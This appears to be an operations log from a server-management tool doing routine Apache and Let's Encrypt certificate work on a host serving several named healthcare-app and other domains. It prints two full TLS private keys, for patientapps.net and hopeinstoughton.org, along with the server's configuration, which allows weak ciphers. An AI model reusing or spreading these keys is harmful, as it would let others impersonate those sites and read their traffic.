         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:01:27: 

PUT: /tmp/pkp218757

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:01:27: 

chmod 755 /tmp/pkp218757; /tmp/pkp218757; rm /tmp/pkp218757

2025-12-14 06:01:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf	1409
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2025-12-14 06:01:27: 

PUT: /tmp/pkp779175

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:01:27: 

chmod 755 /tmp/pkp779175; /tmp/pkp779175; rm /tmp/pkp779175

2025-12-14 06:01:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt	5386
9a:a1:26:22:87:33:1b:11:50:be:29:5d:d3:29:9c:9c

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBf6f049eTmVtg2mhpo1CVvJIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjUzWhcNMjYwMzE0MDUwMjUyWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdnijUupoQ6H6eT3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOK
jiAljEoFB8mzHCwZuf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIF
WFDmHwDm9Gpg8kzrPT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/Ug
ALym9CKcOFhRgKNS2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063k
CTCpCu7jnJkHPQPjVGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaH
ZHk6GoUW/xhF7lKu2IXF2DTlAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFJPYvAuR8C2JmpcCPYVySQwJqX59MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBCwYKKwYB
BAHWeQIEAgSB/ASB+QD3AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbG3MOQgAABAMARzBFAiEAkRFjbx9zB1fomBnfrWWZRQi586JKzNSfOhdd
9UFW3mYCIGWr5SKvxEvlqnEgmq3c9f7Th+aNkF12IyHuqlTbjWzuAH0AGoudaUpX
mMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbG3MW0gAIAAAFACPlXOoEAwBG
MEQCIEsaKywm74QxL1hv8RSnld9GpQeBsxHkL4ZQj3PPm9jZAiBUb5imao6CHnr/
PmYjLJGDbp9uVRBHccmxbXYwz3WsMjANBgkqhkiG9w0BAQsFAAOCAQEAXJbsYlT1
BzrqKivUgthd/aDDVA8vGd8ZgWB0GatXzeEqf+n3Pqe3JI22Ry/y9VGYZOvE3gDC
dO/64hfi7zAABbuszWRP92kYDhdMoJprMoRYRDberRQ7JIoaBseOGaProcpSGC1i
UohFD40yd/WilZEBzoX814C0FfnNf7fbBDApv+XvwKyiicFn584zbaA/3z8w0ios
6Y3LVUJkJ+QuHk7WUuFr0MbJqv0w/h68i/RU6DaNbCGc6dhygsY9FGhD/3R7lmOJ
m6Fk11Nm9HlV4WO+G8/KtrbGB0EAzOttaL2z5tQWASn2siaHFDFajMtbYdpeDtir
2P1EFL51RlwGIw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDdnijUupoQ6H6e
T3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOKjiAljEoFB8mzHCwZ
uf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIFWFDmHwDm9Gpg8kzr
PT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/UgALym9CKcOFhRgKNS
2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063kCTCpCu7jnJkHPQPj
VGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaHZHk6GoUW/xhF7lKu
2IXF2DTlAgMBAAECggEAV2ISdXayYvJZYrCxcUckqysnryDPLxUG0CCAQu/46h3j
lOuX5GEjdNkc2EAC3HIX6NY9JWihtjboiKhWXrfyrXpn6qBFzqeEH55pO7ZNOh/u
iKiyRahTt1GggGFvZZ4iH+qfn3FGNL21aJf4n5vAIg4a9bbQCug5KmybEqntvakO
2zhqGKVCcSohqWEB0mBHu+rIh7AkBWAOweg1RtEd8sOhlj2oQLD+1YHL3A0Zl/y7
tTY0iWSgxP1TzKJIhhmNfypIMZx5t6h/jNmit7dlXestfcCdAU+Y7onH6RoMlaN8
EFe+xwD9q7y82iZHF8fAyGQWS/krX8YQcyQwMPHgQQKBgQD2H7nAG7JAO+iim+PH
+SuJG1mFB0JqcqGtc8s63frA0b5PVgwb5WgghRJBlKQsjEJBQQEKtjBJaGqrGnf/
o4fF8hnXFIxdk4AZ6gN89ok5Un5pLYq4uRGlfm9RzIRVvCROAovkUIYYxOMxfIzD
NlWZHJPLN5GKiNER4nHG79IN1QKBgQDmgrK69W0rPAhmiFN3yQZgltzglhz0Z2eh
6X9c4diwNEQ4p/WQx+LxY1ftRJNZPPPWZ9xRPzGK2ix4qYc6qAe5+zEEgvaPhPQm
4IcPd2JBI9cgYag/tDnwQYiVSdn8/fFRrqJGGk3oi2WBhDNdnQ3hEypFAyWjIMB7
9Z3xR6JC0QKBgQC8kTP8Rnv8EKo8o1kR5gp/4i9k51nwOmE6hiPntxid0FSRbiia
2tk7SRjim+JoqxE783S74zf9lf1bmEzl1EF62/EGQx0DuLWFpTAE9tHN1DE7ngPR
YSFu/P6G2j1tflcGWZcaVsNWiMpUKMuj6KYOR8HICYv9arNbk3V+aFEz/QKBgD4M
RmIO+FDf+v7miVlAEmhjk5ccsTSUtQ+fU7pDzNk5aHe7tl0/gPYrIJrsj6FAx/4Z
vPNdyE8xBTGBqLYATvwgAoTNX+MoDbR9Ub23DAquxBSiVPC46bOjYEmXNIdmL9Ql
5uZp5DjJdQxU8qKrSPYh+4nSHAp6IXX8moQ9HQ9RAoGBAJUgZ/G8Sadpl0mQ5xnp
5qu8WrYrnjPGYVJ4njR8HECs/b+UsdvKWKQkuAF94DIQpobKYTVeL5wZETMmEUPo
a4MxZ8yNlq/c5pY1QDiIghdRgHSieulJAqN0RjE9hOuI4KfFJvpjjskU24tRerMf
tzOYDcfhO2zlQw3EPxoY/CIP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-14 06:01:27: Establishing a connection
2025-12-14 06:01:28: Establishing a connection
2025-12-14 06:01:29: 

PUT: /tmp/pkp869140

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-14 06:01:30: 

chmod 755 /tmp/pkp869140; /tmp/pkp869140; rm /tmp/pkp869140

2025-12-14 06:01:30: 


0


2025-12-15 06:00:03: Establishing a connection
2025-12-15 06:00:03: Establishing a connection
2025-12-15 06:00:03: 

PUT: /tmp/pkp932231

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-15 06:00:05: 

chmod 755 /tmp/pkp932231; /tmp/pkp932231; rm /tmp/pkp932231

2025-12-15 06:00:05: 


1


2025-12-15 06:00:06: Establishing a connection
2025-12-15 06:00:06: 

PUT: /tmp/pkp698244

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE
cat > xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo


2025-12-15 06:00:06: 

chmod 755 /tmp/pkp698244; /tmp/pkp698244; rm /tmp/pkp698244

2025-12-15 06:00:06: 




2025-12-15 06:00:17: Establishing a connection
2025-12-15 06:00:17: 

PUT: /tmp/pkp773008

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE
rm xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo


2025-12-15 06:00:17: 

chmod 755 /tmp/pkp773008; /tmp/pkp773008; rm /tmp/pkp773008

2025-12-15 06:00:17: 




2025-12-15 06:00:17: Establishing a connection
2025-12-15 06:00:17: 

PUT: /tmp/pkp521193

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt

cat > $temp_file <<'endmsg'
19:af:73:e6:a0:15:48:7b:38:99:17:a8:8c:1a:4e:fd

-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgISBXEG3cXF6jPlfkZ1ZP6cNb/mMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTQ2WhcNMjYwMzE1MDUwMTQ1WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAmvaYOOcC4QS2sBNPi1TyGSEF4STz3lRt+oWMrsN9UMwhWaauW0YLJIWU
UKdkdGPfavzmHgzT3qTmZ60Zn8JfKgduIWvrrqRmvb0s8+uk8dIzCtb8rPrjOSuQ
SLfQl9btiE+794FJW1bk6vnHLeX/7wm9x2H7T+kYWxTrjq5p6j0gjKuSoR5eD23w
xLkfACvWfrCmXb8s66L+T4VPg+Xq+VH3CO8QnoKvUD2+MlPobsZPqBtTN5SKaxUL
+1OnbT1SmnRRKLixbE0EyUnIaBC5Lsuo+rDj3BXBXzw1EwSDxthbfvKaWkELbgZm
Ln6OtZQWBg/WaBMP80ccopsL4W6B9wIDAQABo4ICRjCCAkIwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRZ8Adtli2J1l2/SR1PWv0VDqO8eTAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAz
LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmyCYY0YAAAQDAEcwRQIgIuGX4AG2AjhQKtM4DY8M
112TgeWj6XwSee7R4ASoS5UCIQCa3zgn5CLy56JUBoS+lbKiqxOZZFLo7VW8ucsf
OUTtUwB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABmyCYZUsA
CAAABQAkjmC0BAMASDBGAiEArymdMI46G1SSsbGPr1XovGxgeee+nL0W0kwQ3fMP
PXICIQC2Z2aiS0dVE9kVGzp8tchblLqmBxKyg0f24wDMfebXJjANBgkqhkiG9w0B
AQsFAAOCAQEAWZrMjJTAOlDkGeybly+Wt+ADjM+4KQ+ba46trkmtBw7GIJfLFifj
okGBsvvSWjL7O9PhN6sd7YFB79Bh+NKxj1D/3Ig+hKyaFt6YBAlWRe3NEZsTMp3A
B8D6M8FAxb9+W0eGSuXxcUNPYDYQJHR011Etva7cGX9b8D6jr6wy1m/pQ1dxN5p6
GVtTVcuo/nEgsilNK9blDq9L91pO0HCp0anP4frDKIwFKQ0cpdEkmhBjydDuxkOd
Wo7MIFgR1mJPe+cdkz415TQvItJ7QY517KprplrfLYpUWqEzlRF7y2t7f1mFwrEP
x2reG3zafStL71tYxcQYbE7kPHiyl6j/mQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCa9pg45wLhBLaw
E0+LVPIZIQXhJPPeVG36hYyuw31QzCFZpq5bRgskhZRQp2R0Y99q/OYeDNPepOZn
rRmfwl8qB24ha+uupGa9vSzz66Tx0jMK1vys+uM5K5BIt9CX1u2IT7v3gUlbVuTq
+cct5f/vCb3HYftP6RhbFOuOrmnqPSCMq5KhHl4PbfDEuR8AK9Z+sKZdvyzrov5P
hU+D5er5UfcI7xCegq9QPb4yU+huxk+oG1M3lIprFQv7U6dtPVKadFEouLFsTQTJ
SchoELkuy6j6sOPcFcFfPDUTBIPG2Ft+8ppaQQtuBmYufo61lBYGD9ZoEw/zRxyi
mwvhboH3AgMBAAECggEAHcFL6WEyRFLLYXPTykU9V2Xn4xtdWEuN8pTCNqyC24jW
vogq4ovIh/K+T95Ug6TJuZll9k8wP4gaVb3/NZX0//T9SJ2YW6hlsfkpMI0G1wgt
lN9DFVP3XXrn8Y6aFw3F/m6RAS1qEIfW3OepPz7yrcuJDUfbIbT4YETcFkGXRMq7
fjb5DjO+GHuQ1NBIXst5IGGSN68EeHZIW8mJtMW1Ge+pPPb6qwh47s+vG33Woecn
/s5lk1AYZHaUhp9xQaoKAgg++7G/TLrgU9jmiqOJCtul4uQvOUiJOGK3nGQBxkTC
5pnA91nQpBTIW0d+AldMPjENpaMlyeVLmKogytLZQQKBgQDJz6Xkb3aKvCF8y5Qa
4rSzX+KhqTHJ8KqtVZO1LGKEh1Q+jL55zOx6mZtD666U2+6lNIGUCBFKHQ4JlKtj
78QGYZwAXzTfDwp5P8nMTr94eMXrLtgNtyo6V/Kxl/QsMV0EemwuCtCN70B/CrE4
gG1krLgzwIN31vZukBtA8yCkWwKBgQDEkqhxDw5ErHMo8H8SdJ6F/eAHxZ2Tpu/W
OTaoiQAGmE1m2udcWhEpVfNnqIS75jary4Qs14Op/0dv0s2I9dbNXB12TSlvxV+S
4vxGPT35TE38UhIUhw+bMLUWyMhyELXnoXsKJtvnKQ7ivpOyxeMujVA701LR8hni
rksyLI/blQKBgFCxu9aMjyzILue0i0L41WJH+9nCSotBtS1b45T062uspQ3hvyP6
wbAADapp6cPR8SmTxiBH3Ynx9jP0g1eRfqNCkls/tmden0R+MhWEg2ELgbAZagCJ
9dOgaQWECflFv7jTrr/2SRAH05U41EYQbC1uNrVSy/62MJFjA9LDpJCzAoGAI/Ht
ez8VjNk79bCEjAtnMXlLDiDEv8s28CVmKUtkBdCz1qsQw4J0wOpGqB3Yp8NhG+kL
Mmf2W4+isIALtY++x66gdJGHkji1UVbQaseoHX4mhI09YSORZv9xHcl5XeJQYRrW
NPUGIS8Q2cWfnIEzGcAde9MYwetTcHAOsA4WAEECgYEAg4wforSWLwnfiuhfp37N
jtN7cyNgDTkswYoYp/kwlsJURVewljtsC0+7oxRtN9kpMS0eRC4fhI1p4C+XEn6O
sbDABqPkt31gcRSSAkjJLXBXu9OiqAAiEe3dKQft9bVuvdOOarCABpRLZUcwr7hr
3IU+uPXQ4MC89MYl09eGC74=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

